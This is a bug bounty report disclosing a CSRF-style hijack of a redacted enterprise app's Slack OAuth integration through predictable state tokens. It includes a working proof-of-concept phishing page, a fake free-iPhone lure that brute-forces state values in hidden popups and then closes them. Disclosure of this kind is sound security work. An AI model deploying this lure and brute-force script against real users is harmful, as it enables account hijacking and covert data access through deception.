Hijacking Notifications via Slack OAuth Due to Predictable State Parameter.
Summary
In [Redacted] Enterprise application, There is a feature which let you connect your Slack accounts via Oauth to receive notifications about the activity. While testing this feature, I discovered that an attacker can hijack a victim’s Slack integration by exploiting a predictable state parameter during the OAuth authentication process.
By generating state parameter values and tricking a victim into clicking a malicious link with attacker’s token , an attacker can successfully link their Slack account to the victim’s [Redacted] Enterprise account, gaining unauthorized access to notifications and potentially sensitive project information.
Exploitation
Step 1: Understanding the OAuth Vulnerability
The Slack integration follows this OAuth flow:
https://enterprise.redacted.com/u/slack/auth?code=ATTACKER_TOKEN&state=VICTIM_STATE_PARAMETER
- The state parameter is meant to prevent CSRF attacks.
- However, in [Redacted] Enterprise, state tokens follow predictable patterns within an organization.
Step 2: Predictability in State Tokens
Through testing, I observed that:
- State tokens differ by only two characters within an organization.
- At index [20], the value is either “l” or “j”.
- At index [22], the value ranges from blank (“”) to 0–9.
- This makes brute-forcing the state parameter feasible.
Step 3: Explotation
- The victim is tricked into clicking a malicious link (e.g., through phishing).
- The script generates multiple state parameter combinations and attempts OAuth authorization requests.
- The script opens multiple Slack OAuth links with the attacker’s token and generated state parameters in the victim’s browser at once using
window.open()
. - Since the victim is already logged into [Redacted], the requests execute within their session.
- [Redacted].com links the attacker’s Slack integration to the victim’s account, believing it to be a legitimate request.
- The script closes all popups after 15 seconds, leaving no trace.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Claim Your Free iPhone!</title>
<style>
body {
font-family: Arial, sans-serif;
text-align: center;
background: linear-gradient(to right, #ff416c, #ff4b2b);
color: white;
padding: 50px;
}
h1 {
font-size: 36px;
margin-bottom: 20px;
}
p {
font-size: 20px;
margin-bottom: 20px;
}
.highlight {
font-weight: bold;
color: yellow;
}
.claim-btn {
background-color: yellow;
color: black;
font-size: 22px;
padding: 15px 30px;
border: none;
cursor: pointer;
border-radius: 5px;
transition: background 0.3s ease;
}
.claim-btn:hover {
background-color: orange;
}
</style>
<script>
function executeRequests() {
let baseState = "43630383o4p483f3q417"; //all of these can be depends on the organization
let j_l_options = ["j", "l"];
let index22_options = ["", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9"];
let index23_options = ["0", "3"];
let urls = [];
for (let j_l of j_l_options) {
for (let idx22 of index22_options) {
for (let idx23 of index23_options) {
let state_token = `${baseState}${j_l}4${idx22}${idx23}`.replace(/\s/g, "");
let attackURL = `https://enterprise.redacted.com/u/slack/auth?code=ATTACKER TOKEN&state=${state_token}`;
urls.push(attackURL);
}
}
}
let windows = [];
// Open all windows simultaneously
for (let url of urls) {
let win = window.open(url, "_blank", "width=10,height=10,left=-9999,top=-9999");
if (win) {
windows.push(win);
}
}
// Wait for 15 seconds before closing all windows
setTimeout(() => {
for (let win of windows) {
if (win) win.close();
}
}, 15000);
}
// Wait 2 seconds before executing requests to ensure proper loading
setTimeout(executeRequests, 2000);
</script>
</head>
<body>
<h1>🎉 Claim Your Free iPhone 15 Pro! 🎉</h1>
<p>Congratulations! You've been randomly selected to receive a <span class="highlight">brand new iPhone 15 Pro</span>.</p>
<p>Click the button below to verify your eligibility and claim your reward.</p>
<button class="claim-btn" onclick="alert('Just a moment... verifying your entry!');">Claim Now</button>
<p><strong>Don't worry about any popups!</strong> Make sure to <span class="highlight">allow popups</span> to complete your verification process.</p>
</body>
</html>
Team’s Reply :
They accepted it as medium.